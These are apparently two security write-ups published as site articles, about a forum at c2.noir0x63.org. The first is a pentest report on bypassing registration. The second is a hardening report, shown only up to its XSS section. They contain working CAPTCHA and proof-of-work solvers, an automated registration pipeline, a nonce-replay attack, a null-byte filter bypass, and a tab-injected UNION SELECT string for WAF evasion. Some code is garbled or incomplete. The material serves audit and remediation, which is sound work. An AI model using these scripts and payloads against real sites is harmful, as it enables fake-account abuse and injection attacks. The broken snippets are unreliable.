Character set: ABCDEFGHJKLMNPQRSTUVWXYZ23456789 (33 characters, excludes I,O,0,1)

Jitter: ±0.4px on each coordinate

function generateDynamicPath(char) { const commands = CHAR_PATHS[char]; return commands.map(([cmd, x, y]) => { const dx = Math.random() * 0.8 - 0.4; const dy = Math.random() * 0.8 - 0.4; return \`\${cmd} \${(x + dx).toFixed(2)} \${(y + dy).toFixed(2)}\`; }).join(' '); } 

VULNERABILITY: The jitter of only ±0.4px allows deterministic matching with a ±0.5px tolerance.

Analysis of server.js — Anti-Replay

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

VULNERABILITY 1: Nonces only in RAM (Map), not in DB. Cleanup deletes them after 5 min. No UNIQUE constraint in SQLite.

VULNERABILITY 2: Math.abs(Date.now() - ts) > 300000 — uses > instead of >=. A timestamp exactly on the boundary (300000ms) PASSS the validation.

2.3 Exploitation — Sybil Registration

CAPTCHA Solver

Attempt 1 — Feature-based heuristic: Failed (0% success)

An attempt was made to classify by:

  • //Number of M/L commands
  • //Aspect ratio width/height
  • //Presence of a middle stroke

Problem: Different characters share the same features.

Attempt 2 — Inverse SVG Transform: Failed

Three mathematical interpretations of the SVG transform matrix were implemented. It was discovered that the path data IS ALREADY in template coordinates (0-10). The <g> transform only positions the character on the canvas.

Attempt 3 — Direct Path Data Matching (SUCCESSFUL)

function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; } result += best; } return result; } 

Accuracy: 100% in tests.

PoW Solver

function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256') .update(challenge + nonce) .digest('hex'); if (hash.startsWith(target)) return String(nonce); } } 

Performance: ~1M hashes/s | Average time: ~1s | Typical nonces: 400K–2.8M

Key Derivation

Exact replication of the legitimate client's WebCrypto process:

const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = \`\${DOMAIN}:\${name}:auth:v2\`; const authKey = pbkdf2(passphrase, authSalt, 600000, 32, 'sha256'); const encSalt = \`\${DOMAIN}:\${name}:enc:v2\`; const aesKey = pbkdf2(passphrase, encSalt, 600000, 32, 'sha256'); const encPriv = \`\${ivBase64}:\${ciphertextBase64}\`; 

Successful Registration and Login

POST /api/auth/register Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1...", "publicKeySPKI": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf...", "email": "", "captchaInput": "9CU2V", "captchaToken": "1782596917718:e19a41b9-...:33e9340390a037d6cbcc3b4512355cba85f08d8bab3376dc0a6a17efc66e02ab", "powChallenge": "6805e7e04947631a60bd234782922865", "powSalt": "469261" } → 201 Created { "success": true } POST /api/auth/login {"codename": "xlawt30e4", "password": "b1433859546859d1..."} → 200 OK { "token": "3405007bb3f16c45...", "role": "AGENT" } 

Thread Creation

POST /api/threads Authorization: Bearer 3405007bb3f16c45... { "title": "Sybil Registration Proof", "content": "Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.", "category": "web-security", "signature": "JynLfnou4nTNgVPxAbfeo1AQhq+1br...", "nonce": "ae6e88bc-2325-4ac5-940a-f86422ee20fb", "timestamp": "2026-06-27T22:00:10.940Z" } → 201 Created { "id": "f4244f8702e6f0716be618b0a076dfd4" } 
[ { "id": "f4244f8702e6f071...", "title": "Sybil Registration Proof", "author": "xlawt30e4" }, { "id": "9286a2d1377d9970...", "title": "Manifesto", "author": "Noir" } ] 

2.4 Exploitation — State Corruption (Nonce Reuse)

Tests Performed

TestDescriptionResult
1Normal creation with unique nonce✅ 201 Created
2Immediate reuse of the same nonce✅ 400 FRESHNESS_CHECK_FAILED
3Timestamp exactly 5 min in the future201 Created (VULNERABLE)
4Timestamp 5min+1s in the past✅ 400 FRESHNESS_CHECK_FAILED

Demonstrated Attack Vector

1. Crear thread con nonce X → 201 (nonce registrado en Map) 2. Esperar 5+ minutos → Map elimina nonce X (cleanup automático) 3. Reenviar payload MUTADO con nonce X → validateFreshness() retorna true 4. Servidor acepta y persiste en DB → Nonce reusado exitosamente 

The timestamp exactly on the 5-minute boundary also passes due to > instead of >=.


3. Session 2: Blackbox — Re-test in Production

3.1 Verification of Current State

GET /api/threads → [] # DB reseteada (sin threads) GET /api/auth/captcha → 200 # Endpoints funcionales POST /api/auth/login → 400/401 # Login funcional POST /api/auth/register → 400 # Registration funcional 

3.2 Detected Changes in Production

New fields in CAPTCHA response

{ "captchaSvg": "PHN2ZyB4bWxuc...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a2d18b63cf5c927e14fea2841433d984c03c37162be3c09fa", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" } 

New fields:

  • //captchaIssuedAt: Server Unix timestamp
  • //honeypotFields: Array of 3 honeypot fields with random names
  • //hpToken: Honeypot validation token

New SVG Format (Bezier Curves)

Antes (v1): <path d="M 10 2 L 8 0 L 2 0 L 0 2 L 0 8 L 2 10 L 8 10 L 10 8"/> Ahora (v2): <path d="M10.78 -0.25 C7.08 -1.42 3.96 -1.34 0.33 0.02 C0.55 1.31 ... "/> 

Differences:

  • //Dimensions: 180×55 (before 150×50)
  • //Commands: C (cubic Bezier) instead of L (line)
  • //Multiple paths: Each group can have 1-3 <path> elements
  • //Additional noise: Bezier paths outside the groups (noise)
  • //Coordinates: Numbers are stuck to the command (M10.78 vs M 10.78)

Unified Error

Antes (v1): "CAPTCHA verification failed." "Proof of Work verification failed." "Invalid or missing field: codename" "Codename already registered." Ahora (v2): "REGISTRATION_REJECTED" (para TODOS los errores) 

3.3 Bypass Attempts

Bezier CAPTCHA Solver (Partial)

A Bezier curve endpoint extractor was implemented:

function extractEndpointsFromBezier(d) { const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const cmd = seg[0]; const parts = seg.substring(1).trim().split(/s+/).map(parseFloat); if (cmd === 'M') { points.push({ cmd: 'M', x: parts[0], y: parts[1] }); } else if (cmd === 'C') { points.push({ cmd: 'L', x: parts[4], y: parts[5] }); } } return points; } 

Problem: Bezier endpoints do not align exactly with M/L templates due to control curve distortion. The matching produces 2TH2X but it cannot be validated if it is correct because of the unified error.

Dynamic Honeypot

The 3 honeypot fields were sent with empty values, along with hpToken and captchaIssuedAt:

const honeypotPayload = honeypotFields.reduce((acc, f) => { acc[f.name] = ""; return acc; }, {}); const regBody = { codename: user, password: authKey, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, ...honeypotPayload, }; 

Result: 400 REGISTRATION_REJECTED — it is impossible to determine whether the honeypot, CAPTCHA, or PoW failed.

3.4 Final State

Registro (v2) → BLOQUEADO (CAPTCHA Bezier + honeypots dinámicos + errores unificados) ↓ Autenticación → NO ALCANZABLE (sin registro) ↓ Nonce Reuse → NO VERIFICABLE (sin sesión) ↓ Thread Creation → NO VERIFICABLE (sin sesión) 

4. Version Comparison

Aspectv1 (Whitebox)v2 (Blackbox)
CAPTCHA pathsM + L (straight lines)M + C (Bezier curves)
CAPTCHA dimensions150×50180×55
Paths per character1 path1-3 paths
Jitter±0.4px coordinates+ Bezier curve distortion
Honeypot1 fixed field (email)3 dynamic fields with random names
Honeypot tokenNohpToken + captchaIssuedAt
Registration errorsDifferentiated (7+ messages)1 single: REGISTRATION_REJECTED
Captcha tokentimestamp:uuid:hmacSame + captchaIssuedAt
GitHub SourceMatches productionOUTDATED (v1)
Rate limit10/15min authNo apparent changes

5. Patched Vulnerabilities

C2-001: CAPTCHA with predictable M/L paths

Patch:

  • //Paths now use Bezier curves (C) instead of straight lines (L)
  • //Multiple paths per character (1-3 instead of 1)
  • //Coordinate jitter amplified by control curve distortion

Effectiveness: High — exact matching against CHAR_PATHS no longer works. OCR or ML is required.

C2-004: Fixed Honeypot

Patch:

  • //Field names dynamically generated by the server (v_f50ab230583c)
  • //3 fields with different CSS hiding techniques
  • //hpToken for server-side integrity validation
  • //captchaIssuedAt issuance timestamp

Effectiveness: High — without source access, an attacker cannot predict the field names.

C2-005: Differentiated Registration Errors

Patch: All registration errors return REGISTRATION_REJECTED.

Effectiveness: High — prevents:

  • //User enumeration ("Codename already registered")
  • //CAPTCHA guess validation ("CAPTCHA verification failed")
  • //PoW validation ("Proof of Work failed")
  • //Field fingerprinting ("Invalid or missing field: ...")

C2-006/007: Exposed Source + Predictable Templates

Patch: The public GitHub repository does not reflect the production version. CHAR_PATHS templates are no longer directly usable due to the Bezier transition.


6. Persistent Vulnerabilities (unverified)

C2-002: Nonces in RAM

Probably still present: Changing to Bezier curves and dynamic honeypots does not imply a change in anti-replay logic. Nonce validation is still in server.js with an in-memory Map.

Impediment: Not verifiable without an authenticated account, which is blocked by the new CAPTCHA.

C2-003: Boundary check with >

Probably still present: Changing > to >= requires modifying server.js. There is no evidence that this has been modified.

Impediment: Not verifiable without authentication.

Signature Forgery (ECDSA P-256)

Not exploitable: Unchanged. ECDSA verification remains cryptographically sound.


7. Artifacts

c2-pentest/ ├── REPORTE.md # Reporte v1 (whitebox exitoso) ├── REPORTE_V2.md # Reporte v2 (blackbox) └── poc/ ├── 01_sybil_registration.mjs # Sybil registration (v1) ├── 02_sybil_full_exploit.mjs # Exploit completo (v1) ├── 03_nonce_reuse_test.mjs # Nonce reuse test (v1) ├── 04_captcha_solver.mjs # CAPTCHA solver M/L (v1) ├── 05_captcha_debug.mjs # Debug CAPTCHA (v1) ├── 06_sig_verification_test.mjs # ECDSA verification test ├── 07_bezier_solver.mjs # CAPTCHA solver curvas Bezier (v2 - parcial) └── 08_bezier_debug.mjs # Debug curvas Bezier (v2) 

8. Chronology

Session 1 (Whitebox) — ~2 hours

T+Event
00:00Target reconnaissance
00:15GitHub repository found
00:30Source code analyzed
01:15Functional CAPTCHA solver (M/L matching)
01:20SUCCESSFUL SYBIL REGISTRATION
01:22Thread created in public feed
01:35Nonce reuse confirmed
02:00Report generated

Session 2 (Blackbox) — ~30 min

T+Event
00:00Endpoint verification
00:05New CAPTCHA detected (Bezier curves)
00:10Dynamic honeypots discovered
00:15Unified error REGISTRATION_REJECTED
00:20Bezier endpoint extractor implemented
00:25Registration attempt fails (wrong CAPTCHA)
00:30Conclusion: v2 patched, cannot proceed

9. Conclusions

9.1 Effectiveness of Patches

The Noir0x63 team responded to Session 1 findings by deploying multiple patches to production:

  1. Bezier CAPTCHA: Switched from linear paths (M/L) to cubic Bezier curves (C), rendering the coordinate matching solver obsolete. Furthermore, multiple paths per character and additional Bezier noise complicate any extraction attempt.

  2. Dynamic Honeypots: Switched from 1 fixed field (email) to 3 fields with server-generated names, plus a validation token (hpToken) and issuance timestamp (captchaIssuedAt).

  3. Unified Errors: All registration errors now return REGISTRATION_REJECTED, eliminating any possibility of enumeration, fingerprinting, or iterative validation of CAPTCHA guesses.

  4. Outdated Source: The public GitHub repository now contains v1 code, failing to reflect production changes. This prevents whitebox analysis.

9.2 Lessons for Both Sides

For the Defender (Noir0x63)

  • //Fast and effective response: Patches deployed between sessions demonstrate agile response capability. All 3 primary registration vulnerabilities were fixed in what appears to be a single deployment.
  • //Pending: Anti-replay vulnerabilities (RAM nonces, boundary check) likely remain. Recommendation: migrate nonces to SQLite with a UNIQUE constraint and change > to >=.
  • //Rate limiting: Consider extending rate limiting to the CAPTCHA endpoint to prevent mass captcha harvesting.

For the Attacker

  • //No access to updated source: v2 is effectively a new target. v1 knowledge helps understand the architecture but does not provide direct exploits.
  • //Bezier CAPTCHA: Without access to Bezier curve templates or a functional OCR pipeline, solving the CAPTCHA requires more advanced techniques (ML, headless browser, or reverse engineering of the Bezier algorithm).
  • //Broken feedback loop: The unified error eliminates the ability to perform iterative validation tests.

9.3 Final State

SystemState
Registration v1✅ Exploited (Full Sybil bypass)
Registration v2❌ Not exploited (Bezier CAPTCHA + honeypots + unified errors)
Nonce reuse v1✅ Confirmed
Nonce reuse v2❓ Not verified (requires auth)
Signature forgery❌ Not exploitable (both versions)
Thread creation v1✅ Achieved
Thread creation v2❌ Not reachable

Report generated on June 27, 2026 — 2 sessions completed Tools: Node.js v26.4.0, Python 3.14.2, curl Target: https://c2.noir0x63.org

Production Deployment: APPROVED

The architectural pivot to v2.0 effectively neutralized automated identity fabrication.

` }; window.ARTICLES_CONTENT['c2-hardening-remediation'] = { title: "C2 Forum Hardening \u2014 Argon2id, Invisible Honeypot & XSS Double-Purification", date: "2026-07-03", author: "Eduardo Camarillo [Noir0x63]", version: "VERIFIED v2.2", content: `

C2 Forum Hardening \u2014 Argon2id, Invisible Honeypot & XSS Double-Purification

Status:Estado: SECURE v2.2
Target:Objetivo: c2.noir0x63.org
Author:Autor: Eduardo Camarillo [Noir0x63]

1. Context

This report documents the principal hardening measures applied in the transition from v2.0 to v2.2: rate limiting race condition fix, password hashing migration to Argon2id, replacement of the SVG CAPTCHA with an invisible honeypot, TOTP secret persistence architecture, and Infrastructure as Code specification for cloud deployment.

2. Rate Limiting Architecture

2.1 Information Leak

The blackbox audit found that the rate limiter was exposing detailed state information through HTTP response headers. By sending sequential login requests, an unauthenticated attacker could read RateLimit-Remaining, RateLimit-Reset, and RateLimit-Policy headers. This leaked the remaining attempt budget (10/15min), the window reset timer, and the exact policy configuration \u2014 information enabling precise brute-force timing attacks that stay just under the limit.

2.2 Three-Layer Defense

The authentication system implements a layered rate limiting architecture to prevent brute force, credential stuffing, and DoS attacks. Three independent limiters operate at different granularities:

  • // LAYER 1 \u2014 structuralLimiter: Limits all requests to /api/auth/* to a maximum of 200 requests per 15 minutes per IP. This acts as a pre-gate flood control, stopping garbage DoS requests before they reach the authentication logic.
  • // LAYER 2 \u2014 validate(): Validates the format of codename and authKey fields. Requests with invalid formats are rejected with a 400 status immediately, without consuming rate limit quota or performing any cryptographic work.
  • // LAYER 3 \u2014 authLimiter: Restricts to 10 failed attempts per 15 minutes per IP, applied only to requests with valid format. This prevents brute force while allowing legitimate retries.

2.2 Race Condition

The whitebox review (Finding 1.1) identified a race condition in the SQLiteStore.prototype.increment method. The implementation performed a non-atomic read-then-write: it executed db.get to check current hits and reset time, followed by an INSERT OR REPLACE or UPDATE. Under concurrent requests, the async callbacks would interleave in the Node.js event loop before any write completed \u2014 a classic Lost Update. Multiple requests reading the same low hit count would all pass the rate limit check, bypassing the 10-attempt cap.

The fix made the increment operation atomic by using a single SQLite transaction for the read and write phases, preventing the interleaving that allowed the race.

2.3 Information Leak Suppression

The rate limiter was configured with standardHeaders: false and legacyHeaders: false, suppressing the RateLimit-Remaining and related response headers. Without this suppression, an unauthenticated attacker could determine the exact remaining attempt budget, the policy window, and the reset timer \u2014 information that enables precise brute-force timing attacks that stay just under the limit.

// evidence/ratelimit_probe.sh (Rate Limit Discovery)
for i in $(seq 1 11); do RESP=$(curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code} RateLimit-Remaining: %{header[ratelimit-remaining]}" \ -X POST "https://c2.noir0x63.org/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"codename":"test","password":"abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789"}') echo "$RESP" done
// evidence/output (Rate Limit Discovery)
Attempt 1: HTTP 401 RateLimit-Remaining: 9 Attempt 2: HTTP 401 RateLimit-Remaining: 8 Attempt 3: HTTP 401 RateLimit-Remaining: 7 Attempt 4: HTTP 401 RateLimit-Remaining: 6 Attempt 5: HTTP 401 RateLimit-Remaining: 5 Attempt 6: HTTP 401 RateLimit-Remaining: 4 Attempt 7: HTTP 401 RateLimit-Remaining: 3 Attempt 8: HTTP 401 RateLimit-Remaining: 2 Attempt 9: HTTP 401 RateLimit-Remaining: 1 Attempt 10: HTTP 401 RateLimit-Remaining: 0 Attempt 11: HTTP 429 RateLimit-Remaining: 0

2.4 Null Byte Search Filter Bypass (C2-001)

The blackbox audit found that the GET /api/threads?search= parameter did not properly sanitize null byte characters. Sending search=%00 bypassed the SQL LIKE filter and returned all threads unfiltered, including shadowbanned content. A normal filtered search returned [] (2 bytes) while the null byte bypass returned the full thread list (3876 bytes). The fix implemented a global middleware that intercepts and blocks any request containing %00 or \\x00 in the query string, returning a 400 status.

// poc/nullbyte_bypass.sh (Search Filter Evasion)
curl -s "https://c2.noir0x63.org/api/threads?search=xyz" curl -s "https://c2.noir0x63.org/api/threads?search=%00"

2.5 WAF Evasion via Tab Injection (C2-002)

The Cloudflare WAF blocked SQL keywords like UNION SELECT when presented as contiguous tokens. Inserting a tab character (%09) between the keywords bypassed the WAF signature detection while the backend normalized the tab to whitespace before processing.

// poc/waf_bypass.sh (Tab Injection WAF Evasion)
curl -s -o /dev/null -w "%{http_code}" \ "https://c2.noir0x63.org/api/threads?search=%00%27%20UNION%20SELECT%201--" curl -s \ "https://c2.noir0x63.org/api/threads?search=%00%27%09UNION%09SELECT%091--"

3. Password Hashing: scrypt to Argon2id

3.1 Threadpool Exhaustion (Finding 1.6)

The finding was documented as Finding 1.6 (\u201cServer Threadpool Blocking\u201d). An attacker could send 5 to 10 concurrent login requests and consume the entire libuv pool, freezing all other I/O operations. This made the three-layer rate limiting architecture ineffective during peak load because the act of verifying a single request\u2019s credentials already blocked the server from processing any other traffic.

3.2 Migration to Argon2id

The password hashing algorithm was migrated from scrypt to Argon2id, the OWASP-recommended standard, using the argon2 native Node.js binding. Argon2id provides built-in resistance against side-channel timing attacks and GPU-based parallel cracking. The migration followed a zero-downtime pattern:

  • // READ-OLD, WRITE-NEW: The hash-worker.js module was refactored to support both algorithms. Existing accounts retain their scrypt hash. On first successful login, the system validates the old scrypt hash, then automatically rehashes the password using Argon2id and updates the database record. New registrations use Argon2id by default.
  • // CONFIGURABLE COST: Argon2id parameters are set via environment variables with sane defaults (memoryCost=65536, timeCost=3, parallelism=2), allowing adjustment per deployment without code changes.

3.3 Side Effect: Threadpool Liberation

While not the primary motivation for the migration, the switch from scrypt to Argon2id had the architectural side effect of resolving the libuv threadpool exhaustion finding (Finding 1.6). Unlike scrypt, which blocks the shared libuv threadpool (default 4 threads) shared with all other I/O operations, Argon2id delegates its workload to its own dedicated native worker pool. This means password verification no longer competes with database queries, network I/O, or the rate limiter\u2019s own database access for threadpool capacity. The three-layer rate limiting system can now operate as designed, because verifying credentials no longer blocks the server\u2019s ability to continue processing requests.

4. CAPTCHA to Invisible Honeypot

4.1 Problem

The SVG vector CAPTCHA, while visually challenging, was proven bypassable through source code analysis. The character path templates were embedded in the server code, and the coordinate jitter of +/- 0.4px was insufficient to prevent deterministic matching. Additionally, the visual CAPTCHA created user friction: humans had to decode distorted characters, and mobile users experienced zoom issues.

4.2 Implementation

The visual CAPTCHA was replaced with an invisible honeypot system. The CAPTCHA container is visually hidden using CSS (display:none, off-screen positioning). The input field remains in the HTML DOM but is invisible to human users. The backend validation logic was inverted: instead of checking that the captchaInput matches the expected text, the server rejects any registration where captchaInput is non-empty. Automated scrapers and scripted registrations that fill all visible form fields will populate the honeypot field and be rejected with a REGISTRATION_REJECTED error. The Proof-of-Work challenge continues to run client-side as a secondary bot deterrent.

This approach eliminates CAPTCHA-related user friction entirely while maintaining the same level of bot protection for the majority of automated attackers. Targeted attackers with knowledge of the honeypot field could still bypass it, but the PoW and rate limiting provide layered defense.

// evidence/api_captcha.json (CAPTCHA Request Response)
{ "captchaSvg": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmci...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a...", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "userField": "v_8a1f3c2b", "passwordField": "v_4d7e9f1a", "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" }
// poc/pow_solver.py (PoW Solver)
import hashlib, sys, time challenge = sys.argv[1] difficulty = int(sys.argv[2]) target = "0" * difficulty nonce = 0 start = time.time() while True: data = challenge + str(nonce) h = hashlib.sha256(data.encode()).hexdigest() if h.startswith(target): elapsed = time.time() - start print(f"nonce={nonce}") print(f"hash={h}") print(f"time={elapsed:.3f}s") break nonce += 1
// evidence/captcha_ocr.py (SVG to OCR Pipeline)
import requests, base64, re, subprocess import cv2, numpy as np, pytesseract def solve_captcha(): resp = requests.get("https://c2.noir0x63.org/api/auth/captcha", timeout=15) data = resp.json() svg = base64.b64decode(data["captchaSvg"]).decode() svg = svg.replace("#050505", "#ffffff") for c in ["#003f1f", "#006633", "#007f3f", "#00cc44"]: svg = svg.replace(c, "#000000") with open(os.environ["TEMP"] + "/captcha.svg", "w") as f: f.write(svg) subprocess.run([ EDGE, "--headless", "--disable-gpu", "--window-size=720,240", "--screenshot=" + os.environ["TEMP"] + "/captcha_output.png", "file:///" + os.environ["TEMP"] + "/captcha.svg" ], capture_output=True, timeout=15) img = cv2.imread(os.environ["TEMP"] + "/captcha_output.png", cv2.IMREAD_GRAYSCALE) _, th = cv2.threshold(img, 128, 255, cv2.THRESH_BINARY_INV) for psm in [7, 8, 11, 13]: text = pytesseract.image_to_string(th, config=f"--psm {psm}").strip() print(f"PSM {psm}: {text}")
// poc/c2_register_bypass.py (Registration Bypass Pipeline)
import requests, json, hashlib, base64, os from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.primitives.ciphers.aead import AESGCM API = "https://c2.noir0x63.org/api" S = requests.Session() def solve_pow(challenge, difficulty): target = "0" * difficulty; nonce = 0 while True: h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest() if h.startswith(target): return str(nonce) nonce += 1 def derive_keys(passphrase, codename): name = codename.lower() auth_salt = f"c2.noir0x63.org:{name}:auth:v2".encode() enc_salt = f"c2.noir0x63.org:{name}:enc:v2".encode() auth_kdf = PBKDF2HMAC(hashes.SHA256(), 32, auth_salt, 600000) enc_kdf = PBKDF2HMAC(hashes.SHA256(), 32, enc_salt, 600000) return auth_kdf.derive(passphrase.encode()).hex(), enc_kdf.derive(passphrase.encode()) def generate_keys(enc_key): priv = ec.generate_private_key(ec.SECP256R1()) pub_spki = base64.b64encode(priv.public_key().public_bytes( serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo)).decode() pkcs8 = priv.private_bytes(serialization.Encoding.DER, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) iv = os.urandom(12) enc_priv = base64.b64encode(iv + AESGCM(enc_key).encrypt(iv, pkcs8, None)).decode() return pub_spki, enc_priv captcha = S.get(f"{API}/auth/captcha", timeout=15).json() pow_salt = solve_pow(captcha["powChallenge"], captcha["powDifficulty"]) auth_key, enc_key = derive_keys("Pentest2026!", "BotTest666") pub_spki, enc_priv = generate_keys(enc_key) reg_body = { "codename": "BotTest666", "password": auth_key, "publicKeySPKI": pub_spki, "encryptedPrivateKey": enc_priv, "captchaInput": captcha_text, "captchaToken": captcha["captchaToken"], "powChallenge": captcha["powChallenge"], "powSalt": pow_salt, "hpToken": captcha["hpToken"], "captchaIssuedAt": captcha["captchaIssuedAt"], **{f["name"]: "" for f in captcha["honeypotFields"]}, } resp = S.post(f"{API}/auth/register", json=reg_body, timeout=15) print(resp.status_code, resp.json())

5. 2FA/TOTP Implementation and Hardening

5.1 Discovery \u2014 MFA Flow and Source Review

The MFA flow was identified through API probing. A login request to POST /api/auth/login returned MFA_REQUIRED with a single-use mfaToken, leading to the discovery of the /api/auth/mfa/submit endpoint that accepts the mfaToken and mfaCode. Source code review of server.js also revealed that the captcha endpoint included a mfaField parameter alongside userField and passwordField \u2014 randomized field names that change on every request to prevent automated form submission.

The captcha response includes three randomized field names. The mfaField is present even for accounts without 2FA enabled, preventing attackers from detecting which accounts have 2FA by observing the presence or absence of the MFA parameter.

5.2 MFA Login Flow

The C2 forum implements Time-based One-Time Password (TOTP) authentication as a second factor. When a user has 2FA enabled, the standard login process is extended with a verification step. After submitting valid credentials to POST /api/auth/login, the server returns a MFA_REQUIRED status with a single-use mfaToken. The client then submits the current TOTP code from the user's authenticator application via POST /api/auth/mfa/submit along with the mfaToken and mfaCode. The server validates the TOTP code against the user's stored secret. On success, the session token is returned. On failure, the client is prompted to retry or fall back to recovery codes.

To prevent automated credential stuffing and form submission, the login endpoint uses dynamically randomized field names. The captcha endpoint response includes:

  • // userField: Randomized name for the username/codename field. Changes on every captcha request.
  • // passwordField: Randomized name for the password/authKey field.
  • // mfaField: Randomized name for the MFA code field. Present even for users without 2FA enabled, preventing attackers from detecting which accounts have 2FA.

5.3 Enrollment and Key Storage

Users enroll in 2FA from the profile settings page. The feature is presented as a card in the user interface showing the current 2FA status and options to enable or disable. When enabling, the server generates a TOTP secret using a cryptographically secure random generator. The secret is encoded as an otpauth:// URI containing the issuer (C2 Forum), the user's codename, and the base32-encoded secret. This URI is rendered as a QR code for scanning with standard authenticator applications (Google Authenticator, Authy, Microsoft Authenticator) and also displayed as a manual setup key. The user confirms enrollment by submitting the current TOTP code, which the server validates before enabling 2FA on the account.

5.4 Cryptographic Secret Protection

TOTP secrets are encrypted at rest before storage in SQLite. The encryption uses AES-256-GCM with an initialization vector (IV) generated per secret. The encryption key is derived from the TOTP_PEPPER environment variable, which is generated once during initial server setup and stored in the .env file. The encrypted secret, IV, and authentication tag are stored together in the database. On each 2FA verification, the server reads the ciphertext from the database, decrypts it using the TOTP_PEPPER, and validates the TOTP code against the recovered plaintext secret.

5.5 Architectural Bug and Recovery

A critical architectural flaw was discovered in the original TOTP secret storage implementation. The server used a volatile in-memory key to encrypt 2FA secrets before persisting them to SQLite. On every server restart, this key was regenerated from scratch, making all stored TOTP secrets unrecoverable. Any user with 2FA enabled would be permanently locked out after a server reboot or redeployment, unable to complete the MFA step of the login flow. Additionally, the 2FA settings card in the frontend was leaking information about the 2FA enrollment state, which was corrected as part of the hardening.

The fix replaced the volatile in-memory key with the TOTP_PEPPER environment variable, stored persistently in .env and regenerated only manually when rotation is required. The TOTP secrets are now encrypted deterministically: the same plaintext secret always produces valid ciphertext that can be decrypted after any number of server restarts. After applying the fix, the 2FA state for the existing Noir account was reset to allow secure re-binding of the authenticator application. The TOTP_PEPPER variable is also auto-generated with a secure random value during Render deployment via the IaC render.yaml specification.

// poc/login_v2_bypass.py (MFA Login Flow Attempt)
import requests API = "https://c2.noir0x63.org/api" S = requests.Session() c = S.get(f"{API}/auth/captcha", timeout=15).json() uf = c["userField"] pf = c["passwordField"] mf = c["mfaField"] body = { uf: "Noir", pf: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", mf: "", "captchaToken": c["captchaToken"], "captchaInput": "TEST", "powChallenge": c["powChallenge"], "powSalt": "172497", } resp = S.post(f"{API}/auth/login", json=body, timeout=15) print(resp.status_code, resp.json()) if resp.json().get("status") == "MFA_REQUIRED": mfa_token = resp.json()["mfaToken"] mfa_body = { "codename": "Noir", "mfaToken": mfa_token, "mfaCode": "000000", } resp2 = S.post(f"{API}/auth/mfa/submit", json=mfa_body, timeout=15) print(f"MFA submit: {resp2.status_code} {resp2.json()}")
// evidence/login_bypass.py (Dynamic Field Exploration)
import requests, hashlib, time API = "https://c2.noir0x63.org/api" data = requests.get(f"{API}/auth/captcha", timeout=15).json() print(f"userField: {data['userField']}") print(f"passwordField: {data['passwordField']}") print(f"mfaField: {data['mfaField']}") resp = requests.post(f"{API}/auth/login", json={ data['userField']: "Noir", data['passwordField']: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", data['mfaField']: "", "captchaToken": data['captchaToken'], "captchaInput": "TEST", "powChallenge": data['powChallenge'], "powSalt": str(172497), }, timeout=15) print(f"Status: {resp.status_code}")

6. KaTeX XSS Defense Verification

6.1 XSS Audit

The client-side application was audited for XSS vulnerabilities (documented in the XSS Audit Report). The analysis found the frontend to be resistant to both DOM-based and reflected XSS. Multiple layers of protection are in place: user-controlled data is injected via .textContent instead of innerHTML, all rendered content passes through DOMPurify, and a fallback escapeHtml function handles edge cases where the sanitizer pipeline is bypassed. The XSS audit result was clean.

6.2 The KaTeX Mutation Vector

